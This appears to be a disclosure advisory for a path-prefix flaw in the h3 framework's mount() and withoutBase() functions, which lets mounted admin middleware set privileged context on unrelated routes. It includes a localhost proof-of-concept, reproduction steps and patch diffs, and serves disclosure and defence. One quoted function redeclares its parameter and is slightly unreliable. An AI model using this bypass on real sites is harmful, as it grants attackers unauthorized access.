Summary

The mount() method in h3 uses a simple startsWith() check to determine whether incoming requests fall under a mounted sub-application's path prefix. Because this check does not verify a path segment boundary (i.e., that the next character after the base is / or end-of-string), middleware registered on a mount like /admin will also execute for unrelated routes such as /admin-public, /administrator, or /adminstuff. This allows an attacker to trigger context-setting middleware on paths it was never intended to cover, potentially polluting request context with unintended privilege flags.

Details

The root cause is in src/h3.ts:127 within the mount() method:

typescript // src/h3.ts:122-135 mount(base: string, input: FetchHandler | FetchableObject | H3Type) { if ("handler" in input) { if (input["~middleware"].length > 0) { this["~middleware"].push((event, next) => { const originalPathname = event.url.pathname; if (!originalPathname.startsWith(base)) { // <-- BUG: no segment boundary check return next(); } event.url.pathname = event.url.pathname.slice(base.length) || "/"; return callMiddleware(event, input["~middleware"], () => { event.url.pathname = originalPathname; return next(); }); }); }

When a sub-app is mounted at /admin, the check originalPathname.startsWith("/admin") returns true for /admin, /admin/, /admin/dashboard, but also for /admin-public, /administrator, /adminFoo, etc. The mounted sub-app's entire middleware chain then executes for these unrelated paths.

A secondary instance of the same flaw exists in src/utils/internal/path.ts:40:

typescript // src/utils/internal/path.ts:35-45 export function withoutBase(input: string = "", base: string = ""): string { if (!base || base === "/") { return input; } const base = withoutTrailingSlash(base); if (!input.startsWith(base)) { // <-- Same flaw: no segment boundary check return input; } const trimmed = input.slice(base.length); return trimmed[0] === "/" ? trimmed : "/" + trimmed; }

The withoutBase() utility will incorrectly strip the base from paths that merely share a string prefix, returning mangled paths (e.g., withoutBase("/admin-public/info", "/admin") returns /-public/info).

Exploitation flow:

1. Developer mounts a sub-app at /admin with middleware that sets event.context.isAdmin = true 2. Developer defines a separate route /admin-public/info on the parent app that reads event.context.isAdmin 3. Attacker requests GET /admin-public/info 4. The /admin mount's startsWith check passes → admin middleware executes → sets isAdmin = true 5. The middleware's "restore pathname" callback fires, control returns to the parent app 6. The /admin-public/info handler sees event.context.isAdmin === true

PoC

javascript // poc.js — demonstrates context pollution across mount boundaries import { H3 } from "h3";

const adminApp = new H3();

// Admin middleware sets privileged context adminApp.use(() => {}, { onRequest: (event) => { event.context.isAdmin = true; } });

adminApp.get("/dashboard", (event) => { return { admin: true, context: event.context }; });

const app = new H3();

// Mount admin sub-app at /admin app.mount("/admin", adminApp);

// Public route that happens to share the "/admin" prefix app.get("/admin-public/info", (event) => { return { path: event.url.pathname, isAdmin: event.context.isAdmin ?? false, // Should always be false here }; });

// Test with fetch const server = Bun.serve({ port: 3000, fetch: app.fetch });

// This request should NOT trigger admin middleware, but it does const res = await fetch("http://localhost:3000/admin-public/info"); const body = await res.json(); console.log(body); // Actual output: { path: "/admin-public/info", isAdmin: true } // Expected output: { path: "/admin-public/info", isAdmin: false }

server.stop();

Steps to reproduce:

bash 1. Clone h3 and install git clone https://github.com/h3js/h3 && cd h3 corepack enable && pnpm install && pnpm build

2. Save poc.js (above) and run bun poc.js Output shows isAdmin: true — admin middleware leaked to /admin-public/info

3. Verify the boundary leak with additional paths: GET /administrator → admin middleware fires GET /adminstuff → admin middleware fires GET /admin123 → admin middleware fires GET /admi → admin middleware does NOT fire (correct)

Impact

- Context pollution across mount boundaries: Middleware registered on a mounted sub-app executes for any route sharing the string prefix, not just routes under the intended path segment tree. This can set privileged flags (isAdmin, isAuthenticated, role assignments) on requests to completely unrelated routes. - Authorization bypass: If an application uses mount-scoped middleware to set permissive context flags and other routes check those flags, an attacker can access protected functionality by requesting a path that string-prefix-matches the mount base but routes to a different handler. - Path mangling: The withoutBase() utility produces incorrect paths (e.g., /-public/info instead of /admin-public/info) when the input shares only a string prefix, potentially causing routing errors or further security issues in downstream path processing. - Scope: Any h3 v2 application using mount() with a base path that is a string prefix of other routes is affected. The impact scales with how the application uses middleware-set context values.

Recommended Fix

Add a segment boundary check after the startsWith call in both locations. The character immediately following the base prefix must be /, ?, #, or the string must end exactly at the base:

Fix for src/h3.ts:127:

diff mount(base: string, input: FetchHandler | FetchableObject | H3Type) { if ("handler" in input) { if (input["~middleware"].length > 0) { this["~middleware"].push((event, next) => { const originalPathname = event.url.pathname; - if (!originalPathname.startsWith(base)) { + if (!originalPathname.startsWith(base) || + (originalPathname.length > base.length && originalPathname[base.length] !== "/")) { return next(); }

Fix for src/utils/internal/path.ts:40:

diff export function withoutBase(input: string = "", base: string = ""): string { if (!base || base === "/") { return input; } const base = withoutTrailingSlash(base); - if (!input.startsWith(base)) { + if (!input.startsWith(base) || + (input.length > base.length && input[base.length] !== "/")) { return input; }

This ensures that /admin only matches /admin, /admin/, and /admin/... — never /admin-public, /administrator, or other coincidental string-prefix matches.